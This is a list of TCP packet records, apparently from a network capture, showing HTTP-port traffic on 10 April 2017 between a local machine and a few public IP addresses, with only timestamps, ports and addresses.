Apr 10, 2017 10:41:39.958951950 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.959044933 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.959064960 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.959748983 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.959767103 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.959777117 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.959841013 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.981014967 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.981031895 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981040955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981045008 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981048107 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981051922 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981071949 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981086016 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981089115 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981100082 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981112957 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981126070 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981132984 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981137037 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981142998 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981240034 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.981308937 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981332064 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981343985 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981357098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981374025 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.981853962 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.981868982 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.982911110 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:40.008130074 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:40.008228064 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:40.035701036 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:40.043011904 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:40.876466990 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:40.876488924 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.112487078 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.112503052 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.112515926 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.112616062 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.130129099 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.130142927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.130156040 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.130240917 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.133671999 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.133758068 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.137283087 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.137296915 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.137315035 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.137388945 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.138092041 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.138207912 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.140033007 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.140045881 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.140059948 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.140197992 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.140211105 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.140630960 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.149291992 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.149306059 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.149319887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.149415016 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.151647091 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.151669025 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.151685953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.151768923 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.152369976 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.152389050 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.152406931 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.152503967 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.154799938 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.154812098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.154829979 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.154917002 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.162997961 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.163091898 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.166575909 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.166589022 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.166603088 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.166688919 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.176650047 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.176664114 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.176676035 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.176759005 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.178308010 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.178407907 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.180804014 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.180833101 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.180850029 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.180919886 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.181919098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.182017088 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.184648991 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.184681892 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.184694052 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.184766054 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.186029911 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.186116934 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.188622952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.189611912 CEST | 80 | 49190 | 34.204.233.181 | 192.168.1.16 |
Apr 10, 2017 10:41:41.189722061 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.189742088 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
Apr 10, 2017 10:41:41.285872936 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.285897970 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.285907030 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286120892 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286134958 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286195993 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.286209106 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286643028 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286653042 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286668062 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.286752939 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.286766052 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289500952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289530039 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289582014 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289598942 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289604902 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289603949 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.289614916 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289825916 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.289841890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.292489052 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.292501926 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.295131922 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.305187941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.305212021 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.305228949 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.305361032 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.306536913 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.306623936 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.508445024 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.508552074 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.515707970 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.515723944 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515733004 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515750885 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515758038 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515765905 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515774965 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515783072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515788078 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515793085 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515798092 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515871048 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.515882969 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515891075 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515896082 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515901089 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515907049 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515912056 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515917063 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515922070 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515927076 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515932083 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515935898 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515940905 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515945911 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.515952110 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516520977 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.516540051 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516549110 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516566038 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516571045 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516576052 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516582012 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516587019 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516592026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516597033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516602039 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516606092 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516611099 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516616106 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516621113 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516624928 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516629934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516634941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516639948 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516644001 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516649008 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.516653061 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.517321110 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.720446110 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.720550060 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:41.857579947 CEST | 80 | 49191 | 192.163.235.174 | 192.168.1.16 |
Apr 10, 2017 10:41:41.857711077 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:41:41.928456068 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:41.928549051 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:42.336441040 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:42.336543083 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:43.152443886 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.152570963 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:43.733848095 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:43.733891010 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733905077 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733911037 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733932018 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733947992 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733952045 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733962059 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733974934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.733987093 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734008074 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734116077 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:43.734138966 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734148026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734154940 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734160900 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734168053 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734180927 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734186888 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734193087 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734200001 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734206915 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734219074 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734230995 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734236956 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734245062 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734257936 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734275103 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734281063 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734287977 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734293938 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.734301090 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735104084 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:43.735126019 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735136986 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735142946 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735150099 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735157013 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735162973 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735169888 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735177040 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735183001 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735188961 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735194921 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735200882 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735207081 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735213995 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.735228062 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.736159086 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:43.936455011 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:43.945430994 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:44.148478031 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:44.148582935 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:44.556488991 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:44.556582928 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:45.372476101 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:45.372559071 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:47.008498907 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:47.008618116 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:48.873814106 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:48.873836994 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873847008 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873852968 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873862982 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873867035 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873889923 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873913050 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873923063 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873941898 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.873955011 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874034882 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:48.874051094 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874059916 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874066114 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874072075 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874080896 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874087095 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874093056 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874100924 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874106884 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874114990 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874119997 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:48.874129057 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
